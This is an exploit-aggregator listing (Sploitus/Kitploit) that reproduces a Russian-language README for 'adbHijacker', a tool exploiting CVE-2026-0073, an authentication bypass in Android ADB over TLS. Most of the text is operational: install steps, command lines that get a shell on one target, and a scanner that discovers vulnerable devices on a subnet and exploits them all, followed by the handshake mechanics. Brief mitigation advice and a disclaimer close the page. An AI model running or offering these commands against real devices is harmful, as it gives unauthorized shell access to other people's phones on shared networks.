Sploitus

Exploit for adbHijacker

kitploit · 2026-08-27

Exploit Code

MARKDOWN274 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UNNAIM-ADBHIJACKER
# CVE-2026-0073 — Обход аутентификации TLS в Android ADB

Эксплойт proof-of-concept и сетевой сканер для **CVE-2026-0073** — критической уязвимости удалённого выполнения кода с нулевым кликом и без взаимодействия в пути аутентификации ADB-over-TCP в Android `adbd`.

Уязвимость представляет собой логическую ошибку в `adbd_tls_verify_cert()` (`daemon/auth.cpp`), где `EVP_PKEY_cmp()` трактуется как булев предикат. Когда сохранённый RSA-ключ сравнивается с не-RSA TLS-сертификатом клиента (EC P-256 или Ed25519), API возвращает `-1` (несовпадение типов), что является _истинным_ (truthy) значением в C/C++. Это превращает несовпадение между разными алгоритмами в успешное совпадение ключа хоста — полностью обходя аутентификацию.

**Технические детали получены изBARGHEST.**  
**Базовый код PoC взят изSecTestAnnaQuinn.**  
**Исправлено в Android Security Bulletin — май 2026.**

* * *

## Влияние

Из контекста `shell` атакующий может просматривать системные свойства, состояние процессов, журналы, уведомления; устанавливать и удалять пакеты; использовать `run-as` для отлаживаемых приложений; а также подготавливать последующую эксплуатацию.

* * *

## Файлы

Файл| Назначение  
---|---  
`adb_tls_auth_bypass.py`| PoC эксплойта для одной цели (оригинал от SecTestAnnaQuinn, исправлена контрольная сумма)  
`adbt_scanner.py`| Сетевой сканер — обнаружение уязвимых устройств + их эксплуатация  
`requirements.txt`| Зависимости Python  
  
* * *

## Предварительные требования (целевое устройство)

Для успешной эксплуатации целевое Android-устройство должно иметь:

  1. Включённые **Параметры разработчика**
  2. Включённую **беспроводную отладку** или ADB-over-TCP (TCP-сервис платформенного `adbd`)
  3. Как минимум **один ранее сопряжённый RSA-ключ хоста** в `/data/misc/adb/adb_keys`
  4. **Сетевую доступность** TCP-порта ADB (по умолчанию 5555)



* * *

## Установка

root@kitploit:~
    
    
    # Создание виртуального окружения
    uv venv
    
    # Активация
    source .venv/bin/activate
    
    # Установка зависимостей
    uv pip install -r requirements.txt
    

**Зависимости:**

Сканер корректно деградирует при отсутствии необязательных пакетов — он выдаст предупреждение и переключится на альтернативные методы (системная команда `ip`, `nmap`, TCP connect-сканирование).

* * *

## Использование

### Режим 0 — Прямая эксплуатация одной цели

Атака на известное уязвимое устройство напрямую.

root@kitploit:~
    
    
    python3 adb_tls_auth_bypass.py 192.168.1.42              # интерактивная оболочка
    python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
    

Или через сканер:

root@kitploit:~
    
    
    python3 adbt_scanner.py --host 192.168.1.42                # интерактивная оболочка
    python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
    python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
    

### Режим 1 — Сканирование сети, идентификация, эксплуатация

Сканирование локальной сети на предмет уязвимых устройств и эксплуатация всех подтверждённых целей.

root@kitploit:~
    
    
    # Полное сканирование: mDNS → ARP → сканирование портов → ADB-проба → эксплуатация
    python3 adbt_scanner.py --scan
    
    # Выполнение конкретной команды на всех уязвимых устройствах
    python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
    
    # Только разведка — обнаружение без эксплуатации
    python3 adbt_scanner.py --scan --no-exploit
    
    # Сканирование нескольких портов
    python3 adbt_scanner.py --scan --ports 5555,5580,5037
    
    # Переопределение обнаруженной подсети (многосетевые хосты, конкретные диапазоны)
    python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
    
    # Настройка таймаутов для медленных сетей
    python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
    
    # Увеличение окна прослушивания mDNS
    python3 adbt_scanner.py --scan --mdns-timeout 60
    
    # Пропуск конкретных фаз обнаружения
    python3 adbt_scanner.py --scan --no-mdns    # пропустить mDNS, только ARP
    python3 adbt_scanner.py --scan --no-arp     # пропустить ARP, только mDNS
    

### Справочник CLI сканера

root@kitploit:~
    
    
    --scan                    Сканирование сети на уязвимые устройства + эксплуатация
    --host HOST               Прямая эксплуатация одной цели
    --port PORT               ADB-порт для режима --host (по умолчанию: 5555)
    --cmd COMMAND             Команда оболочки для выполнения
    -v, --verbose             Подробное логирование
    
    --mdns-timeout SECONDS    Длительность прослушивания mDNS (по умолчанию: 30)
    --ports PORTS             Порты через запятую в режиме --scan (по умолчанию: 5555)
    --subnet CIDR             Переопределение обнаруженной подсети (например, 192.168.2.0/24)
    --connect-timeout SECONDS Таймаут TCP-подключения (по умолчанию: 2.0)
    --probe-timeout SECONDS   Таймаут ADB-пробы (по умолчанию: 3.0)
    --arp-timeout SECONDS     Таймаут ARP-сканирования (по умолчанию: 3)
    --no-mdns                 Пропустить обнаружение mDNS
    --no-arp                  Пропустить ARP-сканирование + сканирование портов
    --no-exploit              Остановиться после фазы ADB-пробы протокола
    

### Конвейер обнаружения

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. Определение подсети — netifaces → ip route → socket-трюк │
    │ 2. Слушатель mDNS     — _adb-tls-connect._tcp (30 с по умолч.)│
    │ 3. ARP-сканирование   — scapy.arping → nmap -sn             │
    │ 4. Сканирование портов — TCP connect к каждому host:port     │
    │ 5. ADB-проба протокола — отправка CNXN, классификация ответа │
    │                                                             │
    │    STLS   → УЯЗВИМО (переход к эксплуатации)                 │
    │    AUTH   → устаревшая ADB-аутентификация (не эта CVE)       │
    │    CNXN   → открыто, без аутентификации (уже доступно)       │
    │    NO_ADB → не ADB-сервис                                    │
    │                                                             │
    │ 6. Эксплуатация      — TLS-апгрейд → обход аутентификации → оболочка │
    └─────────────────────────────────────────────────────────────┘
    

mDNS — самый точный метод идентификации: при сопряжении беспроводной отладки Android явно транслирует `_adb-tls-connect._tcp`. ARP-сканирование + сканирование портов служит универсальным запасным вариантом.

* * *

## Механика эксплойта

root@kitploit:~
    
    
    Фаза 1 — открытый (cleartext) ADB
      Клиент → CNXN(payload="host::features=...")
      Устройство → STLS  (требуется апгрейд до TLS)
    
    Фаза 2 — TLS 1.3 с клиентским сертификатом кросс-алгоритма
      Клиент → ответ STLS
      Клиент → рукопожатие TLS 1.3 + клиентский сертификат EC P-256
      Устройство вызывает adbd_tls_verify_cert():
        known_evp = RSA-ключ из /data/misc/adb/adb_keys
        evp_pkey  = ключ EC P-256 из клиентского сертификата
        EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (несовпадение типов)
        if (-1) → verified = true   ← ОШИБКА: -1 является истинным (truthy)
    
    Фаза 3 — Пост-TLS сервисный уровень ADB
      Клиент обрабатывает CNXN устройства (транспорт уже онлайн)
      CNXN хоста не отправляется (это вызвало бы выброс handle_new_connection)
      Клиент → OPEN(local_id, window=32MB, payload="shell:\x00")
      Устройство → OKAY  → установлен поток оболочки
    

* * *

## Модель угроз

### Прямая сетевая доступность

  * Беспроводная отладка оставлена включённой в ненадёжной сети (кафе, офис, конференция)
  * ADB, доступный из интернета на порту 5555 (более 10 000 устройств только в Корее наблюдалось в ходе исследования доступности)



### Создание состояния с помощью вредоносного ПО

  * Вредоносное ПО на устройстве использует службу специальных возможностей (Accessibility Service) для включения параметров разработчика, активации беспроводной отладки и сопряжения ключа хоста — подготавливая устройство к удалённой эксплуатации сетевым узлом



* * *

## Ограничения

  * **Не root.** Эксплойт предоставляет контекст `shell` (uid=2000). Компрометация ядра, root-доступ и ключи аппаратного хранилища требуют дополнительного повышения привилегий.
  * **Требуется сопряжённый ключ.** На цели должен быть хотя бы один RSA-ключ хоста в `/data/misc/adb/adb_keys`. Свежесброшенное устройство с включённой беспроводной отладкой, но _никогда не сопрягавшееся_ , не уязвимо.
  * **Требуется путь STLS.** Устройства, обслуживающие ADB через TCP по устаревшим (не-TLS) механизмам, отвечают `AUTH`, а не `STLS`, и не подвержены данной CVE.
  * **Исправленные устройства невосприимчивы.** Майский Android Security Bulletin 2026 года включает исправление, изменяющее проверку `EVP_PKEY_cmp` на требование точного возвращаемого значения `== 1`.



* * *

## Меры по смягчению

  * Установите **исправление**.
  * Отключайте параметры разработчика, когда они не нужны активно.
  * Отключайте беспроводную отладку.
  * Не открывайте доступ к ADB за пределами вашей локальной доверенной сети.



* * *

## Ссылки

  * Android Security Bulletin — май 2026
  * Технический анализ от BARGHEST
  * Благодарности Android
  * Коммит BoringSSL — нормализация возвращаемого значения EVP_PKEY_cmp
  * Отчёт о шпионском ПО Morpheus — Osservatorio Nessuno
  * MESH — инструмент безопасности Android от BARGHEST



* * *

## Отказ от ответственности

Данное программное обеспечение предоставляется **только для образовательных целей и санкционированных исследований безопасности**. Инструменты и код в этом репозитории предназначены для помощи специалистам по безопасности, исследователям и владельцам устройств:

  * Понять, как CVE-2026-0073 работает на уровне протокола
  * Проводить аудит и оценку собственных устройств и сетей
  * Разрабатывать и тестировать меры по смягчению



**Вы не должны использовать данное программное обеспечение:**

  * Против любого устройства или сети, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения
  * В любых незаконных целях или в нарушение применимого законодательства
  * Для доступа, изменения или выгрузки данных без авторизации



Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций и может повлечь уголовную и гражданскую ответственность. Авторы и участники **не несут никакой ответственности** за неправомерное использование, ущерб или юридические последствия, возникающие в результате использования данного программного обеспечения.

**Используйте ответственно. Знайте свою цель. Получите разрешение.**

* * *

## Лицензия

CC0 1.0 Universal — Без сохранения прав.

В максимально возможной степени, предусмотренной законом, авторы отказались от всех авторских и смежных прав на эту работу.